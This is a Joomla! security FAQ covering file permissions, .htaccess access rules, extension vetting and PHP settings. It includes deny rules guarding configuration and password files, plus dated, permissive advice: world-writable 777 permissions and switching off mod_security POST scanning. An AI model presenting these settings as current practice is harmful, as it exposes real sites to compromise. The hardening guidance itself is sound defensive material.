If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

